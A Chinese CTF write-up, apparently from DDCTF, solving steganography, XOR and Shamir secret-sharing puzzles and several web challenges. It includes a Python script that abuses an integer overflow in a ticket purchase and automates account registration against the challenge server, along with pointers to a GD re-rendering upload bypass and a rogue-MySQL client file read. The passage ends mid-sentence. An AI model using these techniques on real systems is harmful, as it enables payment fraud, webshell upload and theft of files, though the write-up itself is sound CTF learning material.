前言
可惜号被ban了,主办方说是我账号异地登陆。。。。。。一个杭州的ip
MISC
北京地铁
上来一张bmp图片,猜想可能是要提取像素什么的
二话不说先binwalk分析,再用stegsolve看看是否有lsb隐写
binwalk没问题
stegsolve出来有点东西
结合给出的hint这应该是AES ECB模式加密的密文
关键就是密钥,有点脑洞了,发现魏公村这个站点的颜色有点不对劲
一开始结合bmp图像分析可能是要提取像素值做密钥翻来覆去不对,密钥叫weigongcun。。。。。
神奇的队友。。。
MultZor
题目啥提示都没,直接给了一堆字符串。。。。根据题目的名字也没搜到什么东西
16进制解码是一堆乱码,分mult和zor去搜,zor什么都没搜到,分mul和tzor搜,tzor搜到了个郑码,还是没有什么用。。。。。。。
会不会是xor?,尝试用xortool 进行密钥猜测,果然。
但是还是有乱码,不是完全还原,找了个最有可能的密钥长度,还是不行,应该是密钥出了问题
分析下乱码的前几个字节
第一个单词应该是cryptanalysis,但是a变成了$
,后面几位的enigma也不对了,估计是密钥有部分不对,可以对着算一下正确的密钥的位数,用a的ascii xor $的ascii可以得到原本位置的正确密钥
Wireshark
题目很简单,数据包里提取三张图片,然后分析流量应该是出题人从千千秀图上找了一张图片然后经过在线网站隐写加密下载了那张加密的图片,不做详解,直接导出对象,我的数据包只能提取2张图片,但是binwalk分析出三张图片,winhex找到了图片之后直接提取分离,3张图片,2张是一样的图片,应该是在线解密前和解密后的图片,然后有张钥匙的图片,感觉应该是IHDR隐写,改了一发行高成功出Key,解密再转16进制成功出flag
联盟决策大会
题目给出了一个关键字,Shamir,百度一下应该是沙米尔密钥管理协议,题目的意思是,6个人,分成了两组,也就是每组之间协商一次,最后两组再协商
google找到了2012年的一道相似题,1
http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/
改改脚本就完事了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68 from libnum import n2s,invmod
pairs1 = []
pairs1 += [(1, 0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964)]
pairs1 += [(2, 0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1)]
pairs1 += [(4, 0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7)]
pairs2 = []
pairs2 += [(3, 0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525)]
pairs2 += [(4, 0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62)]
pairs2 += [(5, 0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5)]
p = int(0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9)
res1 = 0
res2 =0
res3 =0
for i, pair in enumerate(pairs1):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs1):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res1 += (y * top * invmod(bottom, p)) % p
res1 %= p
for i, pair in enumerate(pairs2):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs2):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res2 += (y * top * invmod(bottom, p)) % p
res2 %= p
pairs3 =[]
pairs3 +=[(1,res1)]
pairs3 +=[(2,res2)]
for i, pair in enumerate(pairs3):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs3):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res3 += (y * top * invmod(bottom, p)) % p
res3 %= p
#print res1
#print res2
print res3
print n2s(res1)
print n2s(res2)
web
滴
太简单,略
大吉大利今晚吃鸡
注册登陆进去之后就是一个买票进场的界面
一般遇到买票的大体上是整数溢出和条件竞争
票价2000 我们只有100块,应该是要整数溢出了
再购买处抓包,发现可以改票价,改少了貌似不行,那就改大,试个2的32次方加5
成功入场
看到要移除对手,所以应该是考验脚本基本功,写脚本批量注册买入场券
如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37import requests
import json
import time
import string
import random
s = requests.session()
def zhuce(name):
url = 'http://117.51.147.155:5050/ctf/api/register'
params = {'name': name, 'password': 123456789}
r = s.get(url, params=params)
def maipiao(bill_id):
url = 'http://117.51.147.155:5050/ctf/api/pay_ticket'
r = s.get(url, params={'bill_id': bill_id})
return json.loads(r.text)
def sharen(robot_info):
cookies = {'user_name': '0020002', 'REVEL_SESSION': '9a080fdd76036baa5ba931f54e3db290'}
url = 'http://117.51.147.155:5050/ctf/api/remove_robot'
params = {'id': robot_info['your_id'], 'ticket': robot_info['your_ticket']}
r = requests.get(url, params=params, cookies=cookies)
print r.text
while 1:
user = ''.join(random.choice(string.ascii_uppercase) for _ in range(18))
zhuce(user)
url= 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
r = s.get(url1)
bill_id = json.loads(r.text)['data'][0]['bill_id']
robot_info = maipiao(bill_id)['data'][0]
sharen(robot_info)
time.sleep(2)
Upload-IMG
不说了,gd库的二次渲染绕过,因为上传上去的图片winhex打开后有CREATOR: gd-jpeg v1.0
直接贴链接好了,在uploads-lab也有原题1
https://xz.aliyun.com/t/2657
一开始看到题目感觉能秒。。。。。。结果败在了英语上
payload打的时候要先上传,在把上传过的图片用脚本生成payload图片上传
上传两次
Mysql 空密码
用到了MySQL LOAD DATA 读取客户端任意文件
原理是伪造mysql 服务端进行